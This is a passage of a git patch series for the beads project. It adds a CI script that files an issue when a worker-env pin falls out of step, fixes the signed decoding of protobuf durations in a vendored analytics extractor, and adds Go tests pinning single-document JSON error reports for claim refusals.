-s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs exit 0 fi +# Out of step is known from here on: no failure below turns it into "unknown". +trap - ERR diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/worker-env.txt" >"$tmp/diff" || true { cat <<-EOF @@ -63,5 +77,6 @@ diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/work } >"$tmp/report.md" cat "$tmp/report.md" summary <"$tmp/report.md" -echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: copy gascity's tools/rbe/worker-env.txt and its pin (the step summary has the diff)." +if [ -n "${WORKER_ENV_SYNC_REPORT:-}" ]; then cp "$tmp/report.md" "$WORKER_ENV_SYNC_REPORT"; fi +echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: beads' worker-env pin is out of step with gascity $ref, so no rbe-west pool worker serves beads' remote actions. Copy gascity's tools/rbe/worker-env.txt byte for byte and its platforms/BUILD.bazel pin (the step summary has the diff; see tools/rbe/worker-env-sync)." exit 1 diff --git a/tools/rbe/worker-env-sync-issue b/tools/rbe/worker-env-sync-issue new file mode 100755 index 000000000..63d7e34b2 --- /dev/null +++ b/tools/rbe/worker-env-sync-issue @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# worker-env-sync-issue: open or update the "out of step" issue. +# +# tools/rbe/worker-env-sync-issue REPORT RUN_URL +# +# nightly.yml's rbe-worker-env-sync job runs this when tools/rbe/worker-env-sync +# exits 1 (beads' worker-env pin differs from gascity main's, so beads' remote +# actions queue on rbe-west). REPORT is the markdown report worker-env-sync +# wrote (WORKER_ENV_SYNC_REPORT): the diff and the pin to commit. With an open +# issue of the same title labelled ci/infra, the issue's body becomes the +# latest report and a comment links this run (so watchers hear about it every +# night until it is fixed); otherwise a new issue is opened with the label. +# Close the issue once the copy is synced. +# +# Env: GITHUB_REPOSITORY (owner/repo), GH_TOKEN (issues: write). +set -euo pipefail + +report=${1:?usage: worker-env-sync-issue REPORT RUN_URL} +run_url=${2:?usage: worker-env-sync-issue REPORT RUN_URL} +repo=${GITHUB_REPOSITORY:?GITHUB_REPOSITORY is unset} +title="rbe worker-env out of step with gascity main" +label="ci/infra" + +body=$(mktemp) +trap 'rm -f "$body"' EXIT +{ + cat "$report" + printf '\nReported by %s. Close this issue once tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin match gascity main (tools/rbe/worker-env-sync passes).\n' "$run_url" +} >"$body" + +# The label may not exist yet; an existing one is left as it is. +gh label create "$label" --repo "$repo" --color d93f0b \ + --description "CI infrastructure (rbe-west, runners, cross-repo pins)" >/dev/null 2>&1 || true + +# Exact-title match among the open ci/infra issues (no search index lag). +number=$(gh issue list --repo "$repo" --state open --label "$label" --limit 100 \ + --json number,title --jq ".[] | select(.title == \"$title\") | .number" | head -n 1) +if [ -n "$number" ]; then + gh issue edit "$number" --repo "$repo" --body-file "$body" + gh issue comment "$number" --repo "$repo" --body "Still out of step with gascity main: $run_url" + echo "worker-env-sync-issue: updated #$number" +else + gh issue create --repo "$repo" --title "$title" --label "$label" --body-file "$body" +fi From dff41b4bb81e8d60416c8d6ed5f8b22c8efad501 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 01:05:38 +0000 Subject: [PATCH 045/213] fix(bazel): re-vendor signed-duration decode fix from gascity (#7374) gascity commit 9865cc045aee1391dbcc7eac99339c26e3a5ce71 fixed a production bug: negative protobuf durations in the compact exec log were decoded as unsigned, so the collector rejected roughly 22% of artifacts on remote_queue_ms. Re-vendor the extractor and its unit test byte-identical from that commit and update the sha256 pins in ci_analytics_extract_test.go accordingly. testdata/ci_analytics/ is untouched by the fix; its tree-hash pin is re-verified unchanged against gascity's tree. Co-authored-by: Claude Sonnet 5 --- scripts/ci_analytics_extract_test.go | 34 ++++---- tools/bazel/ci_analytics_extract.py | 77 +++++++++++++++-- tools/bazel/ci_analytics_extract_test.py | 103 +++++++++++++++++++++++ 3 files changed, 190 insertions(+), 24 deletions(-) diff --git a/scripts/ci_analytics_extract_test.go b/scripts/ci_analytics_extract_test.go index db5fc463b..694276db8 100644 --- a/scripts/ci_analytics_extract_test.go +++ b/scripts/ci_analytics_extract_test.go @@ -13,18 +13,18 @@ import ( // ciAnalyticsExtractScript and ciAnalyticsExtractUnitTest are a byte copy of // gascity's tools/bazel/ci_analytics_extract.py and -// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extractor, -// gascity commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac, the final -// squashed-to-one-commit history superseding 32d51ce26a and the original -// 9104311a8a after the S2 review found the first cut's real/*-bep.json -// fixtures leaked operator env: a token, SSH IPs, the OpenBao address, the -// hostname and home paths. The fixtures are generated under env -i and -// committed with the compact exec log decompressed (*.binpb), never a -// zstd frame, so nothing opaque reaches version control), the same way +// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extract-signed-durations, +// gascity commit 9865cc045aee1391dbcc7eac99339c26e3a5ce71, a production bug +// fix on top of the final squashed-to-one-commit S2 history at +// 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac: negative protobuf durations were +// decoded as unsigned, so the collector rejected roughly 22% of artifacts on +// remote_queue_ms. The fixtures are generated under env -i and committed +// with the compact exec log decompressed (*.binpb), never a zstd frame, so +// nothing opaque reaches version control, the same way // tools/rbe/cache-zstd-probe.sh is a byte copy. gascity is canonical for // this pair; TestCIAnalyticsExtractorIsPinnedToGascity below pins both // files' sha256 so a local edit here is caught instead of silently -// drifting out of lockstep. The vendored test file's own 62 cases (run in +// drifting out of lockstep. The vendored test file's own 67 cases (run in // place by TestCIAnalyticsExtractUnitTests) now include the // mismatched-invocation-id and truncated-BEP cases beads originally added // (test_beads_mismatch_fixture_reports_mismatch, @@ -43,11 +43,11 @@ func ciAnalyticsTestdataDir(root string) string { } // ciAnalyticsExtractSHA256 and ciAnalyticsExtractUnitTestSHA256 pin the -// vendored files' content, computed from gascity's final sanitized, -// squashed-to-one-commit history at 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac. +// vendored files' content, computed from gascity's signed-durations fix at +// 9865cc045aee1391dbcc7eac99339c26e3a5ce71. const ( - ciAnalyticsExtractSHA256 = "6bb912b17faac59a12ec53f71fbfbedfecc503037b6f5954e878d108abaae44f" - ciAnalyticsExtractUnitTestSHA256 = "e833e1c961010cd02189afaef273a261a54ccabe916b03bae3115177378a405b" + ciAnalyticsExtractSHA256 = "be6d187804f8b44a75af40113fef97c37476923a1c6a0966d6216a791935c674" + ciAnalyticsExtractUnitTestSHA256 = "7e67b54b0e6d374efed899c8cae448f75effcdd1210b053e242a3ff51f1c8992" // ciAnalyticsTestdataSHA256 pins testdata/ci_analytics/** as a whole // (regen.sh, mismatch.bep.jsonl, poisoned-bep.json and real/*): a sha256 // over every file's slash-joined relative path and bytes, each @@ -55,7 +55,9 @@ const ( // computed the same way over gascity's 00161373bc tree and confirmed // identical, so this one hash catches a dropped, renamed or // individually-edited fixture that a single-file sha256 (the two - // above) can't. + // above) can't. The signed-durations fix (9865cc045aee) touches only + // the extractor and its unit test, not testdata/ci_analytics/, so this + // pin is unchanged and was re-verified against gascity's tree. ciAnalyticsTestdataSHA256 = "dc9ac595df095ef8fe1b965d0e2a8d0b0e5694c3122208891d27655bcc2285d5" ) @@ -118,7 +120,7 @@ func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { } sum := sha256.Sum256(raw) if got := hex.EncodeToString(sum[:]); got != tc.want { - t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extractor @ 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac): "+ + t.Errorf("%s sha256 = %s, want %s (gascity ci/analytics-extract-signed-durations @ 9865cc045aee1391dbcc7eac99339c26e3a5ce71): "+ "either this file drifted from gascity's canonical copy, or gascity changed it "+ "and this pin (and the vendored copy) needs updating to match", tc.path, got, tc.want) } @@ -131,7 +133,7 @@ func TestCIAnalyticsExtractorIsPinnedToGascity(t *testing.T) { } } -// TestCIAnalyticsExtractUnitTests runs gascity's own 62 unittest cases +// TestCIAnalyticsExtractUnitTests runs gascity's own 67 unittest cases // in-place against the vendored extractor: the real Bazel 9.2.0 fixtures // (testdata/ci_analytics/real/*, regenerated under env -i after the S2 // leak), the synthetic remote/cache-hit exec log built by the test's own diff --git a/tools/bazel/ci_analytics_extract.py b/tools/bazel/ci_analytics_extract.py index 7f5d9bc3d..7696b2e75 100644 --- a/tools/bazel/ci_analytics_extract.py +++ b/tools/bazel/ci_analytics_extract.py @@ -60,7 +60,18 @@ import time FORMAT = "ci-analytics-summary" SCHEMA_VERSION = 1 -EXTRACTOR_VERSION = "1.0.0" +# Bumped alongside the signed-duration fix below, so S4 can tell a +# fixed-up artifact (no more 2^63/2^64-scale decoy durations from a +# negative queue/exec/setup/upload time decoded as unsigned) from one +# produced by the earlier, buggy extractor. +EXTRACTOR_VERSION = "1.1.0" + +# A per-spawn duration (Duration.seconds*1000 + Duration.nanos//1e6, after +# signed decoding) above this is treated as corrupt, not a real build: a +# single spawn cannot legitimately run for more than a day. Also the upper +# clamp for the other duration/int fields this file decodes (see +# _clamp_duration_ms below). +MAX_SANE_DURATION_MS = 24 * 60 * 60 * 1000 MAX_INVOCATIONS = 8 MAX_MNEMONICS = 200 @@ -368,17 +379,56 @@ def fields(b, deadline=None): yield f, t, v +def _to_signed64(v): + """varint()/fields() decode a wire-type-0 field's raw bits as an + unsigned 64-bit value; protobuf's int64 (and int32 -- see + _to_signed32) are the two's-complement bit pattern of a *signed* + value, re-encoded with the same unsigned-varint algorithm. A real + negative int64 (e.g. a Duration whose seconds/nanos went negative from + clock skew between the NativeLink scheduler and a worker) is written + as a 10-byte varint of its 64-bit two's complement form, which this + recovers: values with the top bit set (>= 2^63) are negative.""" + return v - (1 << 64) if v >= (1 << 63) else v + + +def _to_signed32(v): + """Same, for an int32 field (Duration.nanos): proto encoders sign- + extend a negative int32 to 64 bits before varint-encoding it, so + _to_signed64(v) alone already recovers the right numeric value for a + well-formed input. This additionally truncates to the low 32 bits + first, so a corrupt/hostile encoder that puts a value outside the + int32 range on an int32-typed field degrades to *some* signed 32-bit + value instead of silently keeping 64 bits of it.""" + v &= 0xFFFFFFFF + return v - (1 << 32) if v >= (1 << 31) else v + + +def _clamp_duration_ms(ms): + """Clamps a decoded duration to [0, MAX_SANE_DURATION_MS]. A negative + duration -- the whole point of this fix: clock skew between the + NativeLink scheduler and a worker can make a remote spawn's queue time + read slightly negative, which _to_signed64() now decodes correctly + instead of as a near-2^63 positive decoy -- counts as 0, and so does + anything implausibly large (not a real build, so probably corrupt). + Applied per spawn/per field, before any sum: one poisoned spawn can + never poison a mnemonic's or label's total.""" + if not isinstance(ms, (int, float)) or not math.isfinite(ms) or ms < 0 or ms > MAX_SANE_DURATION_MS: + return 0 + return ms + + def dur_ms(v, deadline=None): - """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos).""" + """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos) to + a signed-then-clamped millisecond count.""" seconds = nanos = 0 for f, t, val in fields(v, deadline): if t != 0: continue if f == 1: - seconds = val + seconds = _to_signed64(val) elif f == 2: - nanos = val - return seconds * 1000 + nanos // 1_000_000 + nanos = _to_signed32(val) + return _clamp_duration_ms(seconds * 1000 + nanos // 1_000_000) def spawns(raw, deadline): @@ -425,7 +475,12 @@ def spawns(raw, deadline): if mf in SPAWN_METRIC and mt == 2 and isinstance(mv, bytes): s["m"][SPAWN_METRIC[mf]] = dur_ms(mv, deadline) elif mf == 11 and mt == 0: - s["m"]["input_bytes"] = mv + # Also int64; not a duration, but still + # decoded as unsigned bits -- a negative + # value here is nonsensical, so clamp to 0 + # rather than letting it decode to a huge + # positive "byte count" either. + s["m"]["input_bytes"] = max(0, _to_signed64(mv)) yield inv, s @@ -858,8 +913,14 @@ def build_action_data(events): ) d["bep_executed"] += as_int(ad.get("actionsExecuted")) d["bep_created"] += as_int(ad.get("actionsCreated")) - d["user_ms"] += as_duration_ms(ad.get("userTime")) or 0 - d["system_ms"] += as_duration_ms(ad.get("systemTime")) or 0 + # BEP's own Duration strings ("3.14s") aren't subject to the + # unsigned-varint bug (DURATION_RE allows a leading "-", so + # a legitimately negative one would already parse), but the + # same sane-duration clamp is applied here too, for the same + # reason: one corrupt/adversarial value should never poison + # this mnemonic's running total. + d["user_ms"] += _clamp_duration_ms(as_duration_ms(ad.get("userTime")) or 0) + d["system_ms"] += _clamp_duration_ms(as_duration_ms(ad.get("systemTime")) or 0) except Exception: continue return data diff --git a/tools/bazel/ci_analytics_extract_test.py b/tools/bazel/ci_analytics_extract_test.py index dc7de9205..6f55f0bba 100644 --- a/tools/bazel/ci_analytics_extract_test.py +++ b/tools/bazel/ci_analytics_extract_test.py @@ -79,6 +79,27 @@ def _duration_bytes(ms: int) -> bytes: return _varint_field(1, seconds) + _varint_field(2, nanos * 1_000_000) +def _signed_varint(n: int) -> bytes: + """Encodes a signed int64/int32 field's value the way a real protobuf + encoder does: the 64-bit two's-complement bit pattern, varint-encoded + as if it were unsigned -- a negative value always takes the full 10 + bytes. _varint() itself can't be used directly for a negative n: `n & + 0x7F`/`n >>= 7` on a negative Python int never reaches 0 (arithmetic + shift preserves the sign), so it would loop forever.""" + return _varint(n & 0xFFFFFFFFFFFFFFFF) + + +def _signed_varint_field(field: int, n: int) -> bytes: + return _tag(field, 0) + _signed_varint(n) + + +def _signed_duration_bytes(seconds: int, nanos: int) -> bytes: + """Builds a Duration submessage (fields 1 seconds, 2 nanos) with + explicit, possibly-negative values, each encoded the way a real + negative int64/int32 would be: a 10-byte two's-complement varint.""" + return _signed_varint_field(1, seconds) + _signed_varint_field(2, nanos) + + def _spawn_metrics(total_ms=0, queue_ms=0, exec_ms=0, input_bytes=0) -> bytes: body = b"" if total_ms: @@ -293,6 +314,31 @@ class ExtractorHelperTests(unittest.TestCase): self.assertEqual(extract._clamp_pct(float("-inf")), 0.0) self.assertEqual(extract._clamp_pct(float("nan")), 0.0) + def test_to_signed64_recovers_negative_values_from_the_raw_varint_bits(self): + # -1 as a 64-bit two's complement varint is 10 bytes of 0xFF-ish + # bits; varint() decodes that as 2**64 - 1. + self.assertEqual(extract._to_signed64((1 << 64) - 1), -1) + self.assertEqual(extract._to_signed64(1 << 63), -(1 << 63)) + self.assertEqual(extract._to_signed64(0), 0) + self.assertEqual(extract._to_signed64((1 << 63) - 1), (1 << 63) - 1) + + def test_to_signed32_truncates_then_sign_extends(self): + self.assertEqual(extract._to_signed32((1 << 32) - 1), -1) + self.assertEqual(extract._to_signed32(1 << 31), -(1 << 31)) + self.assertEqual(extract._to_signed32(0), 0) + # A hostile/corrupt int64-range value on an int32-typed field is + # truncated to the low 32 bits first, not kept as a huge int64. + self.assertEqual(extract._to_signed32((1 << 40) + 5), 5) + + def test_clamp_duration_ms_rejects_negative_and_absurdly_large(self): + self.assertEqual(extract._clamp_duration_ms(500), 500) + self.assertEqual(extract._clamp_duration_ms(0), 0) + self.assertEqual(extract._clamp_duration_ms(-1500), 0) + self.assertEqual(extract._clamp_duration_ms(extract.MAX_SANE_DURATION_MS), extract.MAX_SANE_DURATION_MS) + self.assertEqual(extract._clamp_duration_ms(extract.MAX_SANE_DURATION_MS + 1), 0) + self.assertEqual(extract._clamp_duration_ms(float("inf")), 0) + self.assertEqual(extract._clamp_duration_ms(float("nan")), 0) + class RealFixtureTests(unittest.TestCase): """testdata/ci_analytics/real/*: genuine Bazel 9.2.0 output.""" @@ -1161,6 +1207,63 @@ class RobustnessTests(unittest.TestCase): self.assertEqual(status, "corrupt") self.assertEqual([r["repo"] for r in rows], ["@@rules_cc+"]) + def test_negative_queue_duration_decodes_to_zero_not_a_huge_positive(self): + """The production bug: clock skew between the NativeLink scheduler + and a worker can make a remote spawn's queue time read slightly + negative. protobuf encodes that as a 10-byte two's-complement + varint of the Duration's seconds/nanos; decoding those bits as + unsigned (the pre-fix behavior) produced "remote_queue_ms" values + around 2**63/1e3 -- not a small negative number. Built with the + test-side signed varint encoder (_signed_duration_bytes), not the + plain _duration_bytes() helper, which can't represent a negative + value at all.""" + uuid = "11111111-2222-3333-4444-555555555555" + # -1.5s of (impossible, but exactly what clock skew would produce) + # negative queue time, alongside a normal positive total/exec so + # the fix's "other values intact" half is also checked. + metrics = ( + _bytes_field(5, _signed_duration_bytes(-1, -500_000_000)) + + _bytes_field(1, _duration_bytes(200)) + + _bytes_field(8, _duration_bytes(50)) + ) + spawn_body = _spawn("//:synth_remote2", "TestRunner", "remote", False, metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + rec = self._run(self._bep(uuid), exec_log) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "ok") + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + tr = by_mnemonic["TestRunner"] + self.assertEqual(tr["remote_queue_ms"], 0) + self.assertEqual(tr["remote_queue_max_ms"], 0) + # Not poisoned by the clamped-away queue value: total/exec, decoded + # from the same spawn's other, non-negative Duration fields, are + # unaffected. + self.assertEqual(tr["total_ms"], 200) + self.assertEqual(tr["remote_exec_ms"], 50) + + def test_absurdly_large_duration_clamps_to_zero(self): + """A corrupt (not just adversarial) producer could put an + implausible but individually well-formed value on a Duration + field -- MAX_SANE_DURATION_MS guards against that the same way as + the negative case, so one bad spawn can't blow out a mnemonic's + sum in either direction.""" + uuid = "11111111-2222-3333-4444-555555555555" + absurd_ms = 50 * 60 * 60 * 1000 # 50 hours: no real spawn runs this long + metrics = ( + _bytes_field(5, _duration_bytes(absurd_ms)) + + _bytes_field(1, _duration_bytes(200)) + + _bytes_field(8, _duration_bytes(50)) + ) + spawn_body = _spawn("//:synth_remote3", "TestRunner", "remote", False, metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + rec = self._run(self._bep(uuid), exec_log) + self.assertIsNotNone(rec) + by_mnemonic = {m["mnemonic"]: m for m in rec["mnemonics"]} + tr = by_mnemonic["TestRunner"] + self.assertEqual(tr["remote_queue_ms"], 0) + self.assertEqual(tr["total_ms"], 200) + self.assertEqual(tr["remote_exec_ms"], 50) + class BoundsTests(unittest.TestCase): def test_exec_log_parse_timeout_is_reported(self): From d0cc1b173fc3d11dbfb99389efacff9a5db87f24 Mon Sep 17 00:00:00 2001 From: Steve Yegge Date: Thu, 8 Oct 2026 02:08:12 +0000 Subject: [PATCH 046/213] test(protocol): pin claim refusals on the single --json batch report (wy-kxgf4) (#4756) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(cli): emit claim failures as structured JSON under --json (wy-kxgf4) Protocol v0 §E5 requires that with --json, errors are emitted as a JSON object carrying at least "error" and schema_version: 1. bd honored that on the not-found path but not on the claim paths: `bd update --claim --json` printed Error claiming t04...-qqr: issue already claimed by alice as plain text on stderr, so an agent driving bd with --json got an unparseable line for the single most common contended-write failure it has to branch on. The §E4 message contract held (the class and the holder/state are named); the §E5 structured contract did not. Route both claim paths (the direct-store loop in update.go and the SQL-server proxied path) through a new reportClaimFailure helper: under --json it emits {error, schema_version:1} via jsonStderrError, otherwise the plain-text wording is unchanged, byte for byte, since §E4 tests pin it. The JSON object goes to stderr so a mixed batch's stdout stays the clean array of the issues that did update; the stream split itself is proposal OQ-5 and is not pinned. Un-skips TestProtocol_ErrorClass_ClaimFailures_StructuredJSON, which was written against the clause and skipped pending this fix; it now passes and becomes the guardrail. Full cmd/bd/protocol package green. Co-Authored-By: Claude Opus 4.8 * test(protocol): pin claim refusals on the single --json batch report (wy-kxgf4) Adopt-PR review fixup for #4756, iteration 1. It takes option (a) from the review synthesis, which is also maphew's CHANGES_REQUESTED fix: drop the eager per-claim JSON object and pin §E4/§E5 on main's centralized batch report instead. Major 1 (claude+codex, maphew's blocker). Under --json, a refused claim printed two JSON documents on stderr: the indented reportClaimFailure object, then reportUpdateFailures' compact {error, failed, schema_version} summary. A consumer reading the whole stream, or main's documented "last stderr line", did not get one document. Main has already moved on (wy-ghg0d). That summary reports every per-id refusal, and the refused id's failed[] entry already names the class and the holder or state: {"error":"1 of 1 issues failed to update","failed":[{"id":"…", "error":"updating issue: issue already claimed by alice"}], "schema_version":1} So cmd/bd/errors.go, update.go and update_proxied_server.go go back to base byte for byte. reportClaimFailure and its two call sites are gone, and text output, stdout and exit codes are main's. That supersedes the helper the contributor commit describes. The PR now changes only tests, so its title and squash message should say so at finalize. This also covers the commit-message nit. Major 2 (the proxied claim arm was not gated on `claim`, so a proxied --assignee fence refusal read "failed to claim") is moot: the object it mislabelled no longer exists. Both routes report through the same summary. The message-drift minor is moot too. So is the synthesis's follow-up about the direct route's non-claim fence refusals under --json: they already land in the same failed[] list. The remaining "updating issue:" vs "claiming issue:" entry prefixes are pre-existing on main. TestProtocol_ErrorClass_ClaimFailures_StructuredJSON stays un-skipped and is re-pinned. It now requires: - exactly one top-level JSON error document (the new jsonErrorDocs steps over each decoded object, so failed[] entries are not counted); - §E5's error and schema_version on that document; - a failed[] entry for the refused id that names "already claimed" and "alice", or "not claimable" and "closed". TestProxiedServerUpdate gains claim_conflict_json_reports_holder_in_failed_entry, the proxied guardrail the review found missing. Two test-gap asks are dropped because they targeted the claim-only branch, which is gone: the --assignee --json negative case, and --format json (which reaches the same jsonOutput-keyed reporter). Validation (local Dolt 2.2.0 server, scrubbed env): - cmd/bd/protocol, whole package, with BEADS_PROTOCOL_REQUIRE_DOLT=1: 109 pass, 1 pre-existing PTY skip. - Mutant (this PR's original errors.go, update.go and update_proxied_server.go restored): the protocol test and the new proxied subtest both fail on "2 JSON error documents"; both pass at this head. - TestProxiedServerUpdate (proxied-lane env): all subtests pass. - TestParityUpdate* (including TestParityUpdateJSONFailureReport) and TestMultiIDUpdate*: pass. - make ci-pr-lint: 0 issues (native, windows, darwin). Follow-up, not in this PR: typed claim-conflict fields in failed[] (issueops.ClaimConflictError's holder and status), so consumers need not match on message text. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 4.8 Co-authored-by: Eddie the Engineer --- cmd/bd/protocol/errors_contract_test.go | 39 ++++----- cmd/bd/protocol/wp4_helpers_test.go | 97 +++++++++++++++++++---- cmd/bd/update_proxied_integration_test.go | 48 +++++++++++ 3 files changed, 145 insertions(+), 39 deletions(-) diff --git a/cmd/bd/protocol/errors_contract_test.go b/cmd/bd/protocol/errors_contract_test.go index f28ca9341..ea8a7f242 100644 --- a/cmd/bd/protocol/errors_contract_test.go +++ b/cmd/bd/protocol/errors_contract_test.go @@ -115,25 +115,16 @@ func TestProtocol_ErrorClass_NotClaimableNamesState(t *testing.T) { } // TestProtocol_ErrorClass_ClaimFailures_StructuredJSON is the §E5 half of the -// claim error classes — and it is SKIPPED because bd-go does not satisfy it -// today (wy-kxgf4). -// -// bd routes not-found through the JSON-respecting error helper, so -// `bd show --json` emits {error, schema_version:1} (pinned above). -// The claim path does not: `bd update --claim --json` prints -// -// Error claiming t04…-qqr: issue already claimed by alice -// -// as plain text, so an agent driving bd with --json gets an unparseable stderr -// line for the single most common contended-write failure it must branch on. -// The message contract (§E4) holds; the structured contract (§E5) does not. -// -// Per proposal §14, where bd's behavior deviates from a clause the clause wins -// and the deviation is a bug — so this test asserts the clause and stays -// skipped until wy-kxgf4 lands, at which point it becomes the guardrail. +// claim error classes: a lost claim is the most common contended-write failure +// an agent driving bd with --json has to branch on, so its class must be +// readable from a JSON document and not only from a stderr line to scrape. bd +// update reports per-id refusals in one batch document, so the class and the +// holder/state live in the refused id's "failed" entry; the top-level "error" +// is the batch summary. The document count is pinned as well: a second, +// per-claim object beside the batch report would hand a consumer two +// concatenated documents (wy-kxgf4). The stream (stdout vs stderr) is +// deliberately not pinned — that split is proposal OQ-5. func TestProtocol_ErrorClass_ClaimFailures_StructuredJSON(t *testing.T) { - t.Skip("bd emits claim failures as plain text even with --json; violates §E5 (wy-kxgf4)") - t.Parallel() w := newWorkspace(t) @@ -145,18 +136,16 @@ func TestProtocol_ErrorClass_ClaimFailures_StructuredJSON(t *testing.T) { // already-claimed: structured, and still naming the holder. out, _ := w.runEnvExpectError([]string{actorBob}, "update", claimed, "--claim", "--json") - obj := requireJSONError(t, out, "already-claimed --json") - msg := errorMessage(obj) + msg := requireFailedEntry(t, out, claimed, "already-claimed --json") if !strings.Contains(strings.ToLower(msg), "already claimed") || !strings.Contains(msg, "alice") { - t.Errorf("--json error does not name class + holder (§E4/§E5): %q", msg) + t.Errorf("--json failed entry does not name class + holder (§E4/§E5): %q", msg) } // not-claimable: structured, and still naming the state. out, _ = w.runEnvExpectError([]string{actorBob}, "update", closed, "--claim", "--json") - obj = requireJSONError(t, out, "not-claimable --json") - msg = strings.ToLower(errorMessage(obj)) - if !strings.Contains(msg, "not claimable") || !strings.Contains(msg, "closed") { - t.Errorf("--json error does not name class + state (§E4/§E5): %q", errorMessage(obj)) + msg = requireFailedEntry(t, out, closed, "not-claimable --json") + if lower := strings.ToLower(msg); !strings.Contains(lower, "not claimable") || !strings.Contains(lower, "closed") { + t.Errorf("--json failed entry does not name class + state (§E4/§E5): %q", msg) } } diff --git a/cmd/bd/protocol/wp4_helpers_test.go b/cmd/bd/protocol/wp4_helpers_test.go index 6c4ba40a0..b777150bf 100644 --- a/cmd/bd/protocol/wp4_helpers_test.go +++ b/cmd/bd/protocol/wp4_helpers_test.go @@ -100,24 +100,57 @@ func jsonErrorFrom(t *testing.T, out string) (map[string]any, bool) { if err := dec.Decode(&obj); err != nil { continue } - if _, ok := obj["error"]; ok { - return obj, true - } - // BD_JSON_ENVELOPE=1 nests the error under "data". - if data, ok := obj["data"].(map[string]any); ok { - if _, ok := data["error"]; ok { - // Lift schema_version from the envelope so the caller can - // assert one shape. - if sv, ok := obj["schema_version"]; ok { - data["schema_version"] = sv - } - return data, true - } + if errObj, ok := asJSONError(obj); ok { + return errObj, true } } return nil, false } +// asJSONError returns obj as a structured error object if it carries an +// "error" key, unwrapping the BD_JSON_ENVELOPE form ({schema_version, +// data:{...}}) so callers see one shape either way. +func asJSONError(obj map[string]any) (map[string]any, bool) { + if _, ok := obj["error"]; ok { + return obj, true + } + // BD_JSON_ENVELOPE=1 nests the error under "data". + if data, ok := obj["data"].(map[string]any); ok { + if _, ok := data["error"]; ok { + // Lift schema_version from the envelope so the caller can + // assert one shape. + if sv, ok := obj["schema_version"]; ok { + data["schema_version"] = sv + } + return data, true + } + } + return nil, false +} + +// jsonErrorDocs returns every top-level JSON error object in the output, in +// order. Unlike jsonErrorFrom it steps over each object it decodes, so an +// object nested inside a document is not counted as a document of its own — +// the entries of a batch report's "failed" list carry "error" keys too. +func jsonErrorDocs(out string) []map[string]any { + var docs []map[string]any + for i := 0; i < len(out); i++ { + if out[i] != '{' { + continue + } + dec := json.NewDecoder(strings.NewReader(out[i:])) + var obj map[string]any + if err := dec.Decode(&obj); err != nil { + continue + } + i += int(dec.InputOffset()) - 1 + if errObj, ok := asJSONError(obj); ok { + docs = append(docs, errObj) + } + } + return docs +} + // requireJSONError asserts the output carries a structured error object with a // non-empty message and schema_version == 1 (§E5), and returns it. func requireJSONError(t *testing.T, out, context string) map[string]any { @@ -126,6 +159,14 @@ func requireJSONError(t *testing.T, out, context string) map[string]any { if !ok { t.Fatalf("%s: no JSON error object in output:\n%s", context, out) } + checkJSONError(t, obj, out, context) + return obj +} + +// checkJSONError asserts a structured error object has a non-empty message +// and schema_version == 1 (§E5). +func checkJSONError(t *testing.T, obj map[string]any, out, context string) { + t.Helper() msg, _ := obj["error"].(string) if strings.TrimSpace(msg) == "" { t.Errorf("%s: JSON error has empty %q field:\n%s", context, "error", out) @@ -134,7 +175,6 @@ func requireJSONError(t *testing.T, out, context string) map[string]any { if !ok || int(sv) != 1 { t.Errorf("%s: schema_version = %v, want 1 (§E5):\n%s", context, obj["schema_version"], out) } - return obj } // errorMessage returns the "error" field of a structured error object. @@ -143,6 +183,35 @@ func errorMessage(obj map[string]any) string { return msg } +// requireFailedEntry asserts the output of a refused single-id write carries +// exactly one structured error document (§E5) and returns the "error" of that +// document's "failed" entry for id. bd reports per-id refusals in one batch +// document, {error: "N of M issues failed to update", failed: [{id, error}]}, +// so the entry, not the top-level summary, is where the class lives (§E4). +func requireFailedEntry(t *testing.T, out, id, context string) string { + t.Helper() + docs := jsonErrorDocs(out) + if len(docs) != 1 { + t.Fatalf("%s: %d JSON error documents in output, want exactly 1 (§E5):\n%s", context, len(docs), out) + } + obj := docs[0] + checkJSONError(t, obj, out, context) + failed, _ := obj["failed"].([]any) + for _, f := range failed { + entry, _ := f.(map[string]any) + if entry["id"] != id { + continue + } + msg, _ := entry["error"].(string) + if strings.TrimSpace(msg) == "" { + t.Errorf("%s: failed entry for %s has empty %q field:\n%s", context, id, "error", out) + } + return msg + } + t.Fatalf("%s: JSON error has no failed entry for %s:\n%s", context, id, out) + return "" +} + // --------------------------------------------------------------------------- // Store fixture: direct SQL against the workspace's database (§V2/§V3) // --------------------------------------------------------------------------- diff --git a/cmd/bd/update_proxied_integration_test.go b/cmd/bd/update_proxied_integration_test.go index 3de2485f7..efea4da05 100644 --- a/cmd/bd/update_proxied_integration_test.go +++ b/cmd/bd/update_proxied_integration_test.go @@ -291,6 +291,54 @@ func TestProxiedServerUpdate(t *testing.T) { } }) + // A refused --claim under --json on the proxied path: the batch report is + // the only JSON document the command prints, and its failed entry names the + // already-claimed class and the holder — the direct route's contract, + // pinned by protocol.TestProtocol_ErrorClass_ClaimFailures_StructuredJSON + // (wy-kxgf4). + 